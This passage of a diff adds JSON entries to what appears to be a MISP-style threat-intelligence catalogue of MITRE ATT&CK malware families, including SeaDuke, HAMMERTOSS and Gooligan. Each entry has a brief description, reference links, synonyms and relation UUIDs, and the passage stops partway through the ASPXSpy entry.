+ "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "value": "RogueRobin - S0270" + }, + { + "description": "[Vasport](https://attack.mitre.org/software/S0207) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)", + "meta": { + "external_id": "S0207", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0207", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-5938-99" + ], + "synonyms": [ + "Vasport" + ] + }, + "related": [ + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "f4d8a2d6-c684-453a-8a14-cf4a94f755c5", + "value": "Vasport - S0207" + }, + { + "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that attempts to add victims to the ZeroAccess botnet, often for monetary gain. (Citation: Sophos ZeroAccess)", + "meta": { + "external_id": "S0027", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0027", + "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + ], + "synonyms": [ + "Zeroaccess", + "Trojan.Zeroaccess" + ] + }, + "related": [ + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "552462b9-ae79-49dd-855c-5973014e157f", + "value": "Zeroaccess - S0027" + }, + { + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "meta": { + "external_id": "S0028", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0028", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "synonyms": [ + "SHIPSHAPE" + ] + }, + "related": [ + { + "dest-uuid": "3b744087-9945-4a6f-91e8-9dbceda417a4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "value": "SHIPSHAPE - S0028" + }, + { + "description": "[Emissary](https://attack.mitre.org/software/S0082) is a Trojan that has been used by [Lotus Blossom](https://attack.mitre.org/groups/G0030). It shares code with [Elise](https://attack.mitre.org/software/S0081), with both Trojans being part of a malware group referred to as LStudio. (Citation: Lotus Blossom Dec 2015)", + "meta": { + "external_id": "S0082", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0082", + "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + ], + "synonyms": [ + "Emissary" + ] + }, + "related": [ + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "15dbf668-795c-41e6-8219-f0447c0e64ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "value": "Emissary - S0082" + }, + { + "description": "[MirageFox](https://attack.mitre.org/software/S0280) is a remote access tool used against Windows systems. It appears to be an upgraded version of a tool known as Mirage, which is a RAT believed to originate in 2012. (Citation: APT15 Intezer June 2018)", + "meta": { + "external_id": "S0280", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0280", + "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + ], + "synonyms": [ + "MirageFox" + ] + }, + "related": [ + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "value": "MirageFox - S0280" + }, + { + "description": "[Pasam](https://attack.mitre.org/software/S0208) is a trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Pasam May 2012)", + "meta": { + "external_id": "S0208", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0208", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", + "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + ], + "synonyms": [ + "Pasam" + ] + }, + "related": [ + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f879d51c-5476-431c-aedf-f14d207e4d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "value": "Pasam - S0208" + }, + { + "description": "is a rootkit trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Darkmoon Aug 2005)\n\nAliases: Darkmoon", + "meta": { + "external_id": "S0209", + "refs": [ + "https://attack.mitre.org/software/S0209" + ] + }, + "related": [ + { + "dest-uuid": "81ca4876-b4a4-43e9-b8a9-8a88709dd3d2", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "310f437b-29e7-4844-848c-7220868d074a", + "value": "Darkmoon - S0209" + }, + { + "description": "[Gooligan](https://attack.mitre.org/software/S0290) is a malware family that runs privilege escalation exploits on Android devices and then uses its escalated privileges to steal authentication tokens that can be used to access data from many Google applications. [Gooligan](https://attack.mitre.org/software/S0290) has been described as part of the Ghost Push Android malware family. (Citation: Gooligan Citation) (Citation: Ludwig-GhostPush) (Citation: Lookout-Gooligan)", + "meta": { + "external_id": "S0290", + "refs": [ + "https://attack.mitre.org/software/S0290", + "http://blog.checkpoint.com/2016/11/30/1-million-google-accounts-breached-gooligan/", + "https://plus.google.com/+AdrianLudwig/posts/GXzJ8vaAFsi", + "https://blog.lookout.com/blog/2016/12/01/ghost-push-gooligan/" + ], + "synonyms": [ + "Gooligan", + "Ghost Push" + ] + }, + "related": [ + { + "dest-uuid": "702055ac-4e54-4ae9-9527-e23a38e0b160", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "20d56cd6-8dff-4871-9889-d32d254816de", + "value": "Gooligan - S0290" + }, + { + "description": "[MazarBOT](https://attack.mitre.org/software/S0303) is Android malware that was distributed via SMS in Denmark in 2016. (Citation: Tripwire-MazarBOT)", + "meta": { + "external_id": "S0303", + "refs": [ + "https://attack.mitre.org/software/S0303", + "https://www.tripwire.com/state-of-security/security-data-protection/android-malware-sms/" + ], + "synonyms": [ + "MazarBOT" + ] + }, + "related": [ + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "5ddf81ea-2c06-497b-8c30-5f1ab89a40f9", + "value": "MazarBOT - S0303" + }, + { + "description": "[NetTraveler](https://attack.mitre.org/software/S0033) is malware that has been used in multiple cyber espionage campaigns for basic surveillance of victims. The earliest known samples have timestamps back to 2005, and the largest number of observed samples were created between 2010 and 2013. (Citation: Kaspersky NetTraveler)", + "meta": { + "external_id": "S0033", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0033", + "http://www.securelist.com/en/downloads/vlpdfs/kaspersky-the-net-traveler-part1-final.pdf" + ], + "synonyms": [ + "NetTraveler" + ] + }, + "related": [ + { + "dest-uuid": "59b70721-6fed-4805-afa5-4ff2554bef81", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "3a26ee44-3224-48f3-aefb-3978c972d928", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "cafd0bf8-2b9c-46c7-ae3c-3e0f42c5062e", + "value": "NetTraveler - S0033" + }, + { + "description": "[BUBBLEWRAP](https://attack.mitre.org/software/S0043) is a full-featured, second-stage backdoor used by the [admin@338](https://attack.mitre.org/groups/G0018) group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. (Citation: FireEye admin@338)", + "meta": { + "external_id": "S0043", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0043", + "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + ], + "synonyms": [ + "BUBBLEWRAP", + "Backdoor.APT.FakeWinHTTPHelper" + ] + }, + "related": [ + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "123bd7b3-675c-4b1a-8482-c55782b20e2b", + "value": "BUBBLEWRAP - S0043" + }, + { + "description": "[NETEAGLE](https://attack.mitre.org/software/S0034) is a backdoor developed by [APT30](https://attack.mitre.org/groups/G0013) with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)", + "meta": { + "external_id": "S0034", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0034", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "synonyms": [ + "NETEAGLE" + ] + }, + "related": [ + { + "dest-uuid": "3bb8052e-8ed2-48e3-a2cf-7358bae8c6b5", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2", + "value": "NETEAGLE - S0034" + }, + { + "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "meta": { + "external_id": "S0035", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0035", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "synonyms": [ + "SPACESHIP" + ] + }, + "related": [ + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "8b880b41-5139-4807-baa9-309690218719", + "value": "SPACESHIP - S0035" + }, + { + "description": "[SeaDuke](https://attack.mitre.org/software/S0053) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2014 to 2015. It was used primarily as a secondary backdoor for victims that were already compromised with [CozyCar](https://attack.mitre.org/software/S0046). (Citation: F-Secure The Dukes)", + "meta": { + "external_id": "S0053", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0053", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + ], + "synonyms": [ + "SeaDuke", + "SeaDaddy", + "SeaDesk" + ] + }, + "related": [ + { + "dest-uuid": "1d07212e-6292-40a4-a5e9-30aef83b6207", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "6ff403bc-93e3-48be-8687-e102fdba8c88", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "67e6d66b-1b82-4699-b47a-e2efb6268d14", + "value": "SeaDuke - S0053" + }, + { + "description": "[FLASHFLOOD](https://attack.mitre.org/software/S0036) is malware developed by [APT30](https://attack.mitre.org/groups/G0013) that allows propagation and exfiltration of data over removable devices. [APT30](https://attack.mitre.org/groups/G0013) may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)", + "meta": { + "external_id": "S0036", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0036", + "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + ], + "synonyms": [ + "FLASHFLOOD" + ] + }, + "related": [ + { + "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9422fc14-1c43-410d-ab0f-a709b76c72dc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "43213480-78f7-4fb3-976f-d48f5f6a4c2a", + "value": "FLASHFLOOD - S0036" + }, + { + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) is a custom backdoor used by [APT3](https://attack.mitre.org/groups/G0022). (Citation: FireEye Clandestine Wolf)", + "meta": { + "external_id": "S0063", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0063", + "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html", + "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + ], + "synonyms": [ + "SHOTPUT", + "Backdoor.APT.CookieCutter", + "Pirpi" + ] + }, + "related": [ + { + "dest-uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "58adaaa8-f1e8-4606-9a08-422e568461eb", + "value": "SHOTPUT - S0063" + }, + { + "description": "[HAMMERTOSS](https://attack.mitre.org/software/S0037) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)", + "meta": { + "external_id": "S0037", + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/software/S0037", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf", + "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + ], + "synonyms": [ + "HAMMERTOSS", + "HammerDuke", + "NetDuke" + ] + }, + "related": [ + { + "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "value": "HAMMERTOSS - S0037" + }, + { + "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. It has been modified by [Threat Group-3390](https://attack.mitre.org/groups/G0027) actors to create the ASPXTool version. (Citation: Dell TG-3390)", + "meta": { + "external_id": "S0073", + "mitre_platforms": [ + "Windows" + ], + 